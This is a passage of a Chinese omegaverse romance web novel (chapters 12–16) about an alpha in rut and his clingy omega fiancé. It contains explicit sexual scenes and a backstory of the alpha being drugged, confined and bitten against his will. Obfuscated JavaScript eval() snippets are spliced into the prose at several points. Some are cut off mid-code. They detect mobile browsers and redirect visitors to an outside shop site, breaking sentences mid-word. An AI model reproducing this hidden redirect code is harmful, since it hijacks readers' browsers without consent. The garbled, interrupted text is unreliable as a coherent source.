温疏沉着脸,手指抓着枕头边缘继续用力。 与人僵持一会儿,对方忽然松手,他成功抽出枕头,却因惯性后仰。紧接着,手腕又被人抓住,猛地往回一拉! 身体骤然失去平衡,他不受控地往前倾倒,竟扑在对方身上! 温疏睁大眼,只来得及伸手撑着身体,没完全压上去。另一手却代替了枕头,被人紧紧抱在怀里。 他们贴得太近,此时鼻腔满是omega的信息素,令身体发热发软。试了几下都没拔出手臂,温疏不由咬着牙低声叫他:“莱恩特!” 对方并不理会,反将他抱得更紧,在一个正处于易感期的alpha身下睡得正酣,毫无防备,甚至不知做了什么美梦,唇角微勾。 温疏咬着牙,微眯起眼,盯着omega的眼神满是不悦,脸颊与耳廓却渐渐染上绯红,呼吸也变得粗重,撑在床上的手臂用力绷紧,青筋浮动。 他的视线掠过omega轻颤的睫毛、微张的嘴唇,凝在不断散发甜香的侧颈。 而后缓慢地、一点点垂下头颅,凑上去。 “……” 莱恩特紧闭着眼,感觉到喷洒在面上的气息逐渐逼近、下移,触感温热潮湿,胸腔一瞬跳动剧烈,不由自主屏息等待,又强迫自己放松身体。 但过了好一会儿,漫长得犹如一个世纪,他所期待的迟迟未至,甚至他忽然感受不到那股令人着迷的温热潮湿。紧接着,怀中的手臂毫不留情抽出,只剩一点失落冰凉。 他失望地抿起唇,强忍住睁开眼睛的冲动,又耐心等了一会儿。 却听见温疏似乎起身离开,但脚步声并未离他太远。而后柜子被拉开,塑料包装袋发出脆响,再是一阵衣料摩擦的窸窣声,什么东西掉到地上,之后便是长久的寂静。 他实在憋不住,偷摸睁开眼。 正见温疏靠墙坐在地上,头颅后仰,双目紧闭。单条腿支着,手臂搭在腿上,袖子半挽。衣领被扯得松散,锁骨清晰可见。汗水从颌角滴落,淌下胸膛,将衬衣洇得半透,紧黏在身上,勾出分明线条。被暖光一照,仿佛身上浇了层蜜。 而身边是一支已经用完的抑制剂。 温疏闭着眼深深呼吸,试图平息身体的汹涌燥热。鼻尖却嗅到omega的信息素逼近,又猛地睁开眼。 “我在这里,为什么你还要用抑制剂?” 只见莱恩特抱臂站在他身前,居高临下垂眸望着他,眼神清明,没有半分熟睡醒来的惺忪,语气平静,却似山雨欲来。 “你怎么进来的?滚出去。”温疏懒得废话,不耐地撇开头。 “你凶我?”莱恩特拧着眉,有些不满,“这是你对你的omega应该有的态度吗?你——” “呵。谁的omega?”温疏冷笑打断,睨着对方,“我跟你不熟。” “那你刚刚还想咬我!” 莱恩特说着跪下身,双手捧住温疏的脸,强迫他正视自己,骄傲自信地微抬下颌,“你明明就喜欢我的信息素,对不对?” 甜蜜的香气源源不断往鼻子里钻,冲得大脑一片混沌。明明才打过抑制剂,身体还是热烫发软,甚至十分躁动,似乎当真如对方所说。 温疏厌恶这种不受控的感觉,不由眉心紧拧。想撇开头,下颌却被牢牢锢住,又打开omega的手,语气平静凉薄,“自作多情。易感期的alpha对随便一个omega都会想咬。” “温疏!”莱恩特瞪大眼,不可置信,怒气冲冲,“我们的信息素匹配度是100%!我们还有婚约!你已经是我的alpha了!你竟然还想咬别人!” “啧。大少爷,”对方好像听不懂人话,温疏忍不住捏了下眉心,愈发烦躁不耐,“我没空陪你玩过家家,现在立刻滚出去!” “……” 温疏语气太差,比刚才还要凶,莱恩特怔了一下,微抿着嘴唇安静下来。见温疏冷漠地撇开脸,连余光都欠奉,又失落地垂下头,眸光暗淡,好像连白发都变灰了。 但很快他自己调理好了,又扬起自信明媚的笑,伸手去捉温疏的手腕,“不管怎么说,你是我的alpha,你现在易感期,我不可能就这样丢下你不管。” 温疏反手挣开对方,冷着脸不说话。 “……”莱恩特咬牙,紧盯着温疏,脸上快挂不住笑,眼尾渐渐发红,又试探着去碰温疏的手,轻轻叫他,“温疏……” “不需要。”温疏不为所动,躲开对方。 莱恩特的手滞在半空,笑容也僵住,盯着温疏的双眸逐渐湿润。过会儿便深深低下头,发丝垂落,看不清表情。不再说话,却也不肯走。 两人谁也不开口,空气寂静片刻,忽然响起一声细微而清晰的“啪嗒”。 温疏循声转头,只见地上一点湿润水迹,折出朦胧的光。而少年垂着头,双手置在膝上,紧攥着拳。一动不动,一声不吭,委屈巴巴又执拗倔强。 他忍不住又伸手轻捏眉心,叹了一声,“你也知道我易感期?那你知道你一个omega随便闯进一个易感期alpha的房间有多危险吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712359|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“温疏!” 话音刚落,少年猛地抬头看向温疏,双眸湿润发亮,竟伸臂一下扑到温疏怀中,双手抱紧他的腰,脸颊埋进颈窝,贴着他的侧颈来回蹭。 “滚开!——” 温疏猝不及防,又沉下脸。按着对方双肩的手不住发抖,明明想把人推开,却使不上力,反被抱得更紧。 近在咫尺的omega信息素撕扯着他的理智,他快抑制不住本能。 莱恩特却还抬起头,不住亲吻他的下颌和唇角,开心得要命,“温疏!你关心我!你喜欢我!” “脑子有病就去治!” 温疏气得发笑,撇开头,对方却不依不饶追着吻,还伸舌轻轻舔吻他的嘴唇,甚至手掌伸向他腰间。 ……真是要疯了。 温疏闭目深吸口气,腰腹猛然发力,一下将对方扑倒在地,单手攥着omega的两只手腕牢牢禁锢在头顶。 “温、温疏……” 莱恩特猝不及防,双眸睁大,脸颊一瞬通红,抿着唇轻轻叫温疏。 有点害羞,眼神却大胆,从温疏汗湿的英俊脸庞一寸寸往下描摹,停在他的胸腹,忍不住轻轻吞咽,目光湿热粘稠,像另一条舌。 却见温疏虽是撑在自己身体上方,牢牢压着他,却又不看他,眼神来回扫视屋里,像在找什么东西。 他不由期待又紧张,耐心地等着,忽然听到什么东西振动一下,又好奇地微微起身偏头去看。 原来是温疏刚刚动作幅度太大,手机从衣兜里滑出来,掉在他身边。此时屏幕亮起,有人给温疏发了消息,还连发好几条。 【空?在宿舍吗?】 【我过来找你】 【……】 【可以吗?】 莱恩特微眯起眼,又去看时间,发现已经快九点。 发消息的这个人,他之前听说过,是学生会的副主席,是温疏的同学和同事。但现在又不是工作时间,这么晚了还要干什么,甚至找到宿舍来? 而且,看这语气,像是已经和温疏约好了。温疏明知自己易感期到了,还和别人约在这个时间、约在自己的宿舍见面?! 一瞬间,脑子里闪过各种糟糕的想法,莱恩特不由沉下脸,抬眼去看温疏。 却见对方果然也被手机吸引目光,甚至松开他,起身去拿。 莱恩特面色更沉。 温疏在找绳子,想给这个烦人的家伙捆住。还没解决这个麻烦,齐云朔又找上来,只好先回消息。 虽然他不介意被齐云朔看到这种场面从而误会什么,但是他面前这个骄纵的大少爷指不定要怎么闹呢。还是先别来吧。 正想着,手腕忽被人扣住,手机一下被夺走。紧接着,他被推着肩膀,脊背猛地撞上墙壁。 温疏抬起头,正见omega压下来,淡金眼眸掺了血色,紧盯着他,神色冰冷,像是抓住爱人出/轨的证据,举着他的手机质问: “他来做什么?你们是什么关系?” 13. 第 13 章 “还给我!”温疏不悦拧眉,劈手夺回自己的手机。 “温疏!”莱恩特不满地叫他,抓着他的手腕,不依不饶,“你易感期为什么让他过来!” 还能是为什么? 但温疏不想回答,只一味挣扎。没想到看着柔柔弱弱的omega,情绪激动起来力气还挺大,五指紧攥,仿佛要捏碎他的腕骨。 他有些恼了,“跟你有什么关系?” 莱恩特不可置信地瞪大眼,又生气又委屈,“你是我的alpha!我们有婚约!” “呵。”温疏憋不住笑出声,看人的眼神却满是嘲讽,语气冷漠,“你真以为我会跟你结婚啊?” “……” 对方抿唇沉默地看他一会儿,眼圈微微发红,又低声道:“你只能和我结婚。” 分明只是轻飘飘的一句话,却让温疏勃然大怒,猛地伸手拽起莱恩特的衣领, “你不就是喜欢我的信息素吗?我这种味道也不算稀有吧,你随便找个差不多的不就行了?希维尔家的少爷要什么样的alpha没有,非得缠着我?” “不是!”莱恩特紧咬着牙,眼圈愈发红,“你、你一点都不记得——” “记得什么?”温疏冷笑打断,拽着对方衣领的手猛地把人往后一掼,声音像从牙缝里挤出,“记得我被当成一条狗,送给尊贵的希维尔少爷玩吗?” 当年,温疏易感期症状最为严重的时候,家族“请”了一个与他高匹配度的omega释放信息素安抚他,这个omega正是莱恩特。 彼时温疏刚十八岁,还未入学普莱克斯,作为一个从小“体弱多病”的养子,连等级都还测不出来,在温家根本不受重视,甚至地位低下。 某日,也是恰好,他因为之前在屋里憋得太久,终于到外头散心,却意外与来温家做客的莱恩特碰上。 希维尔家族在帝国的地位举足轻重,陛下见了都要礼让三分。甚至一向有希维尔家族选择与哪位皇子结为姻亲,谁便是下一任君主的说法。 而莱恩特在族中年纪最小,又是omega,受尽宠爱、娇生惯养地长大,对那时的温疏来说,简直高不可攀。 但温疏没见过莱恩特,也不知道这些,第一次见面就把尊贵的小少爷晾在一边,兀自侍弄花草,专注得分不出一个眼神。甚至在对方主动提出想要帮忙的时候,还嫌弃人家笨手笨脚,给人赶出好几步远。 第二次见面,小少爷竟不计前嫌,还给他带了礼物,都是时下流行的年轻人会喜欢的玩意儿,什么游戏机、音乐专辑之类,还有一眼看去就知道特别美味的精致小蛋糕。但温疏没要,兴致缺缺,还嫌占地方,让人回去时全部带走。 小少爷生性高傲,大概头一次被这样拒绝,有点接受不了。他不甘心就此离开,却又低不下头讨好,只是站在原地,双拳紧攥,抿着嘴不吭声,眼眶却一点点发红。 温疏瞧着对方那副模样竟觉得有趣,总算良心发现,从书里抬起头,笑着冲人轻轻勾了勾手,“要过来一起看书吗?” 然后小少爷就坐在他身边,和他一起看了一下午的书,中途还因为观点不同,与他吵了两架,最后不欢而散。 结果第二天、第三天、第四天……小少爷一直来找他,天天陪温疏看书和吵架,偶尔也什么都不做,就看着温疏发呆,慢慢在躺椅里睡着。 直到温疏易感期,被关了禁闭。过了好几天,正是最难捱的时候,父亲声称给他找了个高信息素匹配度的omega安抚他。 可实际是强把他从床上拖起来,打了镇静剂,怕他暴起伤人,然后做了好一番检查,来回折腾,令他难受得要命,最后把他送到希维尔家里,莱恩特的房间。 进门就是一股浓郁的omega信息素,冲得他头晕目眩,几乎站不稳。 他勉力抬起眼,只见屋里遍地是摔碎的装饰物,随便一件都是价值连城、本该在博物馆供起来的珍品。 而莱恩特赤着脚,踏着一地金玉残骸向他走来,白发红瞳,容色绝艳,像是什么都市传说里才有的鬼怪。 原来是小少爷的发热期到了。 他温疏才是安抚别人的那个。 至于温疏自己?呵,他根本不重要。 温疏气得发笑,当即要走,握住门把才发现房门被从外面锁住了,送他进来的人根本没想放他出去。 而就这么一会儿的时间,莱恩特已经逼近他身后,双手抱住他的腰,脸颊埋在他的颈窝里,贪婪地深深呼吸着。 感受到回旋着打在肩颈的湿热气流,鼻腔充斥着omega甜美的信息素,温疏只觉得一阵难以言喻的恶心反胃。 他忍不住挣扎,身体却因药物作用使不上劲,动不了,只能像是一个人形玩偶,被omega紧紧抱在怀里,对他的腺体又亲又咬,直至遍布牙印,鲜血淋漓。 中途他暴起反抗,掐着omega的脖颈把人按到地上。但还没来得及用力,身后忽然涌来一堆人,架起他的胳膊将他扯远。 而后捆住他的双手,甚至像对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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紧贴着掌心的肌肤细腻温热,蹭得他有些痒,温疏指尖微动,没有立刻拒绝。 而莱恩特看着温疏反应不大,心里有些失落,正要再说点什么,后脑忽然被人掌住,猛地往下一按。 他被迫低头,脸颊撞上温疏,一股令人脸热的气息钻入鼻腔,大脑瞬间一片空白。 与此同时,头顶响起温疏低沉微哑的嗓音,含着笑,透出明显的玩味与恶意, “张嘴。” 14.第 14 章 莱恩特喉结轻滚,上身伏低,牙齿叼着拉链往下,又凑上去。 按在头顶的手掌猛然加重力道,指尖嵌入他的发中,牵扯着发根,抓得他头皮生疼。 他却像得了莫大的鼓舞,更加仔细留意温疏的反应,用尽浑身力气取悦对方。 活了快二十年,从来都是别人讨好他,不敢对他说一个“不”字,他也习惯颐指气使,要风得风、要雨得雨。 唯独温疏从一开始就对他不屑一顾,却让他像着了魔。 温疏垂着头,微微喘息,浑身大汗淋漓,肌肤泛着情热的粉。 他的手掌牢牢锢着莱恩特的后脑,本能追逐愉悦,看见对方难受地皱起眉,双眸都微微湿润,仍毫不留情地往下按,挽起衣袖的小臂肌肉紧绷,青筋浮起。 分明是一副情动的姿态,神色却有些冷,白金色的眸中满是恶劣的嘲弄。 一向骄纵霸道、眼高于天的小少爷,忽然表现得卑微讨好,竟令他十分受用。 他有些想通了。 既然上赶着给他当狗,那他就大发慈悲地成全好了。 于是温疏更加过分,几乎不让人抬头,逼得莱恩特难受得不停干呕,眼尾和嘴角都滑下湿痕,却没反抗,照单全收。 甚至更兴奋,扑在他身上的气息愈发灼热粗重,空气中的信息素甜得腻人。 过了一会儿,温疏的手机又振动起来,是齐云朔给他发了消息。他还没来得及看,紧接着又弹出一个语音电话。 感觉到温疏将手掌移开,莱恩特不由停顿,疑惑地抬起眼,却发现对方居然又去看手机,顿时不悦沉下脸。 为什么温疏在和他做这种事的时候,还要想着别人。 还有那个谁,也真够贱的,竟然勾引别人的alpha! 莱恩特憋了又憋,实在不爽,竟抢先一步,夺了手机按下接听键,甚至开了免提,而后又深埋下头。 黏腻的水声和齐云朔的声音一同响起来:“温疏?” 与此同时,电话的另一头,齐云朔捏着手机,正站在温疏宿舍的房门外。 他来这里有一会儿了,举起手要敲门的时候,才想起来应该先给温疏知会一声,万一温疏没空。 刚才,他盯着手机屏幕,上头一直停在和温疏的聊天界面,发现温疏的备注那栏显示“正在输入中”,但他耐心等了好一会儿,都没见温疏发送消息。 他不由紧张,以为温疏反悔,正在编辑长消息拒绝他。 可转念一想又觉得不对,温疏若是想拒绝他,只会直接发一句“别来”,从来不顾及他的想法,随心所欲,根本用不着这么长篇大论。 他实在等得心焦,在又发了条消息询问后,终于忍不住给人打了个电话。 本以为对方在忙,没想到很快便接了。但不知道温疏是在做什么,明明听上去周遭环境很安静,却总是夹着一点,莫名其妙的奇怪声音……容易让人想歪的那种。 他强迫自己止住糟糕的念头,出声问:“你在洗澡吗?” 对方莫名低笑了声,嗓音有点哑,“嗯,在抹沐浴露。” 像是印证什么,听筒里传来的那种奇怪声音更清晰些,也更粘稠,好像确实如温疏所说。 “哦,”齐云朔应了声,对方话音刚落,他的脑子里就已经忍不住勾勒出温疏的身形,不由有些脸热,“……那我等下再过来?” 他问完,温疏并未立刻回答,只是呼吸声陡然变得粗重,隔着听筒,有些模糊,不知道在干什么,却更让人浮想联翩。 “……啧。”齐云朔喉头轻滚,低头看了眼自己腰间,有些焦躁,“你什么时候好?” 他很早就洗好了,一直等着。 “很快,唔——” 温疏刚说了两个字,后面的声音便听不太清了,完全被粗重的呼吸声和粘稠的水声覆盖。 甚至呼吸声十分紊乱,中间完全没有停顿,像是多个人的交叠在一起—— 齐云朔陡然沉下脸,攥紧手机,用力得指尖泛白,缓慢地勾起唇角,眼神却如刀。 过了好一会儿,温疏才回答他,嗓音听上去更哑了,透着明显的慵懒和餍足,“我突然有点事,你先不用来了。” “……是吗?” 齐云朔轻扯了扯唇角,如大海一般的幽蓝双眼紧盯着温疏的房门,像是要将其吞没。但最后他只是平静应了声,转身朝自己的宿舍走,“行。” “嗯。” 温疏话音刚落,莱恩特立刻又吻上来,动作有些急切粗暴,像是发泄不满。边吻着,还边伸手将他的手机丢开,紧搂着他的腰、锢着他的下颌,不准他躲。 过了一会儿,莱恩特的手掌又往下摸。 温疏没制止。 又弄了一次后,他按住对方,把人推开,“够了。” “……” 莱恩特意犹未尽,但也没再继续,只一言不发地盯着温疏,紧抿着唇。 不出所料,那个齐云朔果然和温疏关系不一般,语气和态度那样随意熟稔,听得他又生气又嫉妒,还有些委屈。 甚至,他刚刚低下头,凑得近,能很清楚地看见温疏身上遍布的红色印记。痕迹不太深,但很新鲜。 会是什么时候弄的呢? 他们两人同个年级,又是学生会的同事,上课和工作都在一块儿,宿舍也离得近,有好多时间和机会能腻在一起。 甚至他很阴暗地想——他上礼拜就和温疏说了回国时间,上飞机之前也给温疏发了消息说大概什么时候到地儿,他迫不及待想见温疏,希望温疏去接一下他,兴奋得整整一天一夜没睡。可是他等了很久,温疏一直没来,连拒绝的话都没说——会不会白天的时候,那个学生会的干部说温疏在开会,实际温疏在和副主席私会,才没有去接他? 温疏瞧见莱恩特面色难看,盯着自己一语不发,心底又嗤笑一声。 到底还是少爷脾气,有一点不顺心就爱摆脸色。 但他才不惯着,懒得管,又伸手去拿手机。 发现刚才那个语音电话,通话时长竟足足有二十分钟,不久前才挂断。 看来齐云朔是全都听见了,估计也早就猜出来他在做什么。 既然如此,为什么不挂电话?他自己是想挂的,但莱恩特拦着挂不了,索性就放着。 这家伙癖好很特殊啊。 温疏轻轻挑眉,觉得有趣,但也并未太过在意,又睨了眼莱恩特,“你还不走?” 没想到被晾了几分钟后,温疏开口第一句就是赶人,莱恩特又气又委屈,正要发作,又强忍住——温疏好像喜欢乖的。 于是他轻轻叫了一声温疏,还拖长音调,扁着嘴撒娇卖惨: “温疏,我入学手续还没办呢,我没地方去,而且我刚下飞机就来找你了,到现在还一口饭没吃呢。你先让我在你这里住一晚嘛,好不好?” 话音刚落,他的肚子适时打起鼓。 温疏本来不为所动,听见这声,又瞥见对方唇边还挂着一缕白丝,拒绝的话一时堵在喉里,最后轻叹了声,“你明早立刻走。” “好!”莱恩特睁大眼,喜出望外,连忙乖乖点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温疏回:啊是这只小狗,我前两天路过,被它扒着裤子不让走,太亲人了。接着发了一张照片,黑色的裤腿上明晃晃几个灰色爪印。 还有再往前一点,许烬给温疏发了张照片,是一堆折腾头发的工具,语气很不好意思地问温疏觉得自己适合什么发型。 温疏先是调侃了一下对方怎么忽然想弄头发了,而后当真推荐了几款,发的竟是自己手绘的示意图,还顺带推荐了自己认识的靠谱造型师和常去的造型设计工作室。并且他看对方似乎是想自己动手,还从网上找了些理发教程给人分享过去。甚至说可以帮许烬弄头发。 而就算有时候温疏隔很久才回复,许烬也兀自发了很多,几乎是平常遇到什么自觉有趣的、漂亮的,都统统与温疏分享。 这些内容在莱恩特眼里十分无聊,温疏却能对每件事都认真地给予回应,语气幽默又温柔。 与对莱恩特的态度截然不同。 他越看越嫉妒,甚至物理意义上地“眼红”,血色浸透了双眸。 终于决定不再折磨自己,却又手滑点进学生论坛。 而首页的热门贴,主席温柔地给许烬上药、喂饭,又给他重重一击。甚至温疏用的管理员账号,还能看见以前被删除的贴。 等全部看完,温疏似乎是也洗完澡要回来了,他便关了手机,放回桌上。表情看似平静,双眼却一片猩红。 难怪温疏不肯理他,原来是心早被贱人勾走了。 他绝不允许。 温疏是他的! 15.第 15 章 宿舍走廊,一个男生拎着食盒,满脸兴奋激动地站在温疏宿舍门口,反复深呼吸三遍才抬手轻敲房门,手指仍有些发抖。 跑腿服务都是学生兼职在做,他为了抢这个单,还跟人打了架。要不是怕主席大人等得着急,并且送晚了影响餐食口感和品质,他现在还被堵着出不去食堂。 ——争归争,一切还是以主席大人为先!这是他们的底线和原则! 本以为能见主席一面,没想到,开门的是一个没见过的人。 “诶?不是主席点的单吗?” 他怔了一下,抬头看宿舍门牌号,与手里的订单信息仔细比对,却发现没送错,又忍不住偷偷往宿舍深处瞄。 “就是主席的。” 还没看到什么,开门的人往前一站,恰恰好挡住他窥探的视线。虽是微笑地看他,眼神却冷,接着伸手过来,几乎是抢地拿走了食盒,“谢谢,你可以走了。” 说完,不等他反应,房门便砰地一声关上了,差点拍他脸上。 吓得他“我靠”一声,连忙退了两步,只觉莫名其妙,有点生气。 这些贵族少爷小姐真难伺候!果然,只有主席大人好!不管对谁都很温柔。 心里吐槽着,他转身往回走,却见副主席正站在不远处看着自己,示意他过去。 他不由疑惑上前,“副主席找我?” “嗯。”齐云朔抱臂靠着房门,神色平静地瞥了眼对方身后,“刚刚给你开门的是谁?” “呃,我没见过,不认识。是一个男生,白头发,大概有这么高,”对方比划着,手掌微顿,不情不愿地又往头顶抬了一点点,“好像是个omega吧,长挺好看的——” 等等,不对,这个点,一个omega在主席房间……? 话刚说完,他自己也意识到好像哪里不对劲,表情僵住。 “omega?”齐云朔微微眯眼,“是我们学校的?” “不知道啊,他没穿制服。” “嗯,行。你回去吧。” 齐云朔摆手放人。 对方已经走远,他还紧盯着温疏的房门,阴沉着脸,视线锐利得好像能在上面戳出个洞。 又是omega! 明明和他约好了…… 果然,温疏还是更喜欢omega吗? …… 房间里,温疏站在门边,满脸不悦地看着莱恩特,“你为什么要去拿?” “怎么了?” 莱恩特听他语气不好,有些不明所以,但又很快反应过来,脸色顿时变得难看。 现在已经晚上十点多,他一个omega这么晚了还待在alpha的宿舍里,很容易惹人误会。而温疏不想被误会,不想与他扯上关系——至少是不想在明面上。 怎么,温疏这时候就知道避嫌了?对许烬的时候怎么就不这样?明明他才是温疏名正言顺的未婚夫! 莱恩特盯着温疏,几乎忍不住要发怒,又紧咬着牙硬憋住,面上装出一副无辜的样子,委屈地扁着嘴,“他送来的时候,你都还没有穿衣服呢,难不成让你去?” 他去拿外卖也就是顺手的事,而温疏就围一条浴巾,他不可能让别人看见温疏这个样子。 莱恩特说完之后,温疏拧眉看他一会儿,没再开口,转身往屋里走,似乎是随他去了。 于是莱恩特也不计较了,提着食盒追在温疏身后,眼巴巴问:“温疏,那晚上我睡哪里呀?” “随便。”温疏冷淡地撂下两个字,随后进了卧室,还将房门反锁。 “……”莱恩特怔了一下,又有些不高兴,“那你吃夜宵吗?我点了你的份。” 对方半晌没应声,莱恩特只好提着食盒回餐桌自己吃。本来是很饿,可是少了温疏,就感觉空落落的,胃口都小了。 而房间里,温疏打开手机,例行查看各方资讯、确认未来工作之后,又点开社交软件。 恰好,许烬给他发了消息,他便顺势点进聊天界面。 却发现不久之前许烬也给他发了消息,他明明还没来得及看,但系统提示新消息只有一条。并且他的联系人列表多了一个人。 温疏冷笑,立刻就知道是莱恩特碰过,毫不意外。 以莱恩特的性格,拿到他手机,一定会翻这些东西的,就是不知道看完以后会作何感想了。 但是刚才看莱恩特好像没有什么特别反应,难不成是在憋个大的?会去找许烬吗? 想到这里,温疏唇角勾起一个玩味的笑,本要回复许烬的手指停顿下来,甚至退出聊天界面。 既然如此,他也来助个兴好了。 接着,肩膀忽然被什么冰凉的东西碰了一下,他侧过头,发现是系统出现,正用脑袋顶他。 “有事?”温疏给它推开一些,“又要走剧情了?” 自从上回系统跟他生闷气以后,最近半个月都很少出现,大概是还气着。 他看着这颗黑球,莫名感觉对方好像变大了一些,忍不住伸手握拳与它比对,发现果然胖了一圈,形状更圆润了。 “……不一样了。”系统来回转着身体,无机质的电子音听上去莫名有些卡顿。 “什么不一样了?” “所有。” “什么所有?你在说什么?” “……” 温疏听得云里雾里,系统却不说话了,硬要他猜谜。 他还要追问,对方却换了话题:“今天,你和他们……很亲密。你喜欢他们吗?” “呵。”温疏眉眼冷淡下来,唇角勾起恶劣的笑,“当然喜欢了。” 喜欢逗狗玩怎么不算是一种喜欢。 话音刚落,黑球猛地飞到他脸上,“你——” 还没“你”出来,卧室房门被轻轻叩响,“温疏,能借我一套多的睡衣吗?我想洗个澡。” 听见声音,温疏瞥去一眼,坐着不动,也没应声。 少爷就是少爷,留宿别人家还要这要那,一点不客气。 他懒得管,又低头去看系统。对方听见莱恩特的声音便“坐”下来,像一颗泄气的皮球,形状有点扁。 温疏只觉莫名,又觉好笑,忍不住伸手去戳,“你刚刚要说什么?” 对方没应声,也没躲。没想到,他的手指竟陷进球体表面,像是戳进一团云雾,指尖没有落点。又仿佛是陷入沼泽,触感湿润,往外拔时还有一点阻力,像是在吸吮他。 温疏试了几下没抽出手指,顿觉惊奇,“原来你还会咬人呢?” “……” 话音刚落,他的手指便被吐出来。黑球猛地弹开,离他好远,而后一声不吭地又消失了。 接着,门外又传来莱恩特可怜兮兮的声音,“温疏,好不好嘛……” 被这么一打岔,温疏莫名心情好了点,索性起身。 “温疏,温疏……” 半天没听见应声,莱恩特又喊几遍,但温疏还是不理他。 才刚没滋没味地吃完一顿饭,现在连洗澡这种事都要看人脸色。一直娇生惯养长大,甚至温疏从前也没有对他这样冷淡过,他从来没吃过这种苦,莱恩特只觉得委屈。又想到温疏区别对待,更是委屈得泪水都要在眼眶里打转了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725460|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但他又不肯走,执拗地抱膝蹲坐在温疏房门口。 没想到,又过了一会儿,后背靠着的房门忽然打开。他重心不稳,整个人往后倒,竟恰好倒在温疏腿上。 他仰起头,看见温疏还是只裹一条浴巾,从下往上的视角,能看见对方胸腹的肌肉曲线愈发分明,特别是胸口愈发饱满。呼吸起伏间,未擦干的水珠蜿蜒而下,沐浴露清冷的木香也随之钻入鼻腔。 他不由看得发怔,还没看清温疏的脸,紧接着,有什么东西劈头盖脸砸下来,遮住他的视线,“拿去,吵死了。” 莱恩特下意识接住,发现是一套干净的睡衣,心情立刻放晴了,捧着睡衣爬起来,想去抱温疏,却被人冷着脸拦住,“洗干净再过来。” 于是他屁颠屁颠抱着睡衣进了浴室。 里面还充斥着沐浴露的香气,混着温疏的信息素气味,令他忍不住贪婪嗅闻,身上很快又发起热。 刚刚只顾着帮温疏弄了,都没解决自己的。 他不由看向刚摆上架子的干净睡衣,视线顿了两秒又移开,在浴室搜寻一番,最后落到脚边的脏衣篓。 里面还有温疏换下的衣物,还没来得及丢进洗衣机。沾了汗,信息素香味最浓。 莱恩特紧盯着,呼吸愈发粗重,喉结轻滚几下,还是忍不住蹲身把温疏的衬衣拿出来,猛地把脸埋进去,深深地嗅了一口。 同时伸手往下。 弄了一会儿,他觉得有些不够,忍不住又看向脏衣篓,指尖挑拣起一条味道最浓的贴身衣物,将自己包裹着。 触感微微粗砺,他便想象着是温疏的手掌。脸颊埋在温疏汗湿的衬衣里,像是埋在对方胸口。 脑子里不由闪过刚刚在温疏房门口看见的,又忍不住用牙齿咬住衬衣,轻轻吮吸。 那么白、那么大,就该给他—— 莱恩特急促地喘息着,直到感觉指根湿润,又慢慢松开衬衣。头发湿淋淋黏着脸,双眸浸满血色,欲望汹涌翻滚。 他只把衬衣放回去。 回国的时候,他只带了一个行李箱,里面除却一些重要的东西,剩下全是他的“私藏”。在外面的时候,他就指着这些活下去。 手里这件也即将成为其中之一。 他之前确实是等温疏回来等到睡着,但听见开门声音的时候立刻醒了,放出信息素是纯心勾引。他好久没见温疏了。 没想到温疏易感期到了,但即便处于易感期,温疏也不愿意碰他,浓郁的信息素却反勾得他险些忍不住扑上去,幸好他来之前打过抑制剂。他想保持清醒。 不知道为什么,明明他身为omega,当年发热期时第一次把温疏找来,本来只是想要一点温疏的信息素。可闻到的瞬间,他满脑子只有咬上去,只想占有。当然,他也确实这么做了。 他是S级omega,身份地位摆在那里,他自小就是任性妄为,也从来没有人敢违抗他。在遇见温疏之前,他平等地瞧不起每一个alpha。 除了温疏,没有任何alpha的信息素能令他动容。 所以他想咬就咬了。 但后来他才知道,原来这样的行为对alpha来说是一种严重的侵犯。 可是如果他不能咬温疏,温疏也不愿意标记他,他该怎么坐实这个婚约,让温疏想拒绝都拒绝不了呢? 听说好多被标记了的omega,离开alpha就活不了。 他也想让温疏离开自己就活不了。 该怎么把温疏变成他的? 莱恩特微眯起眼,又忍不住舔了舔嘴唇。 ……还是想咬。 16.第 16 章 这是,哪里…… 温疏坐起身,茫然看着四周,却只看到一片虚无的黑暗,耳边也静得出奇。 理智告诉他这是在做梦,但他确信自己十分清醒,且行动自如。 下意识喊了两声系统,没有得到回应,他便试探着摸黑往前走。 可这片黑暗像是没有尽头,走了许久,除了自己,他看不到任何,听不到声音,辨不出方向,渐渐觉得双腿发酸,心底的不安与焦虑也慢慢扩大,脚步都迟疑。 不知走了多久多远,又或许只是在原地打转,在耐心耗尽、恐慌达到顶点之前,他的手指终于触到什么。 温疏不由惊喜,伸手沿着那物边缘一点点摸索,只觉触感绵软,表面光滑,和那颗黑球的手感有些相似。 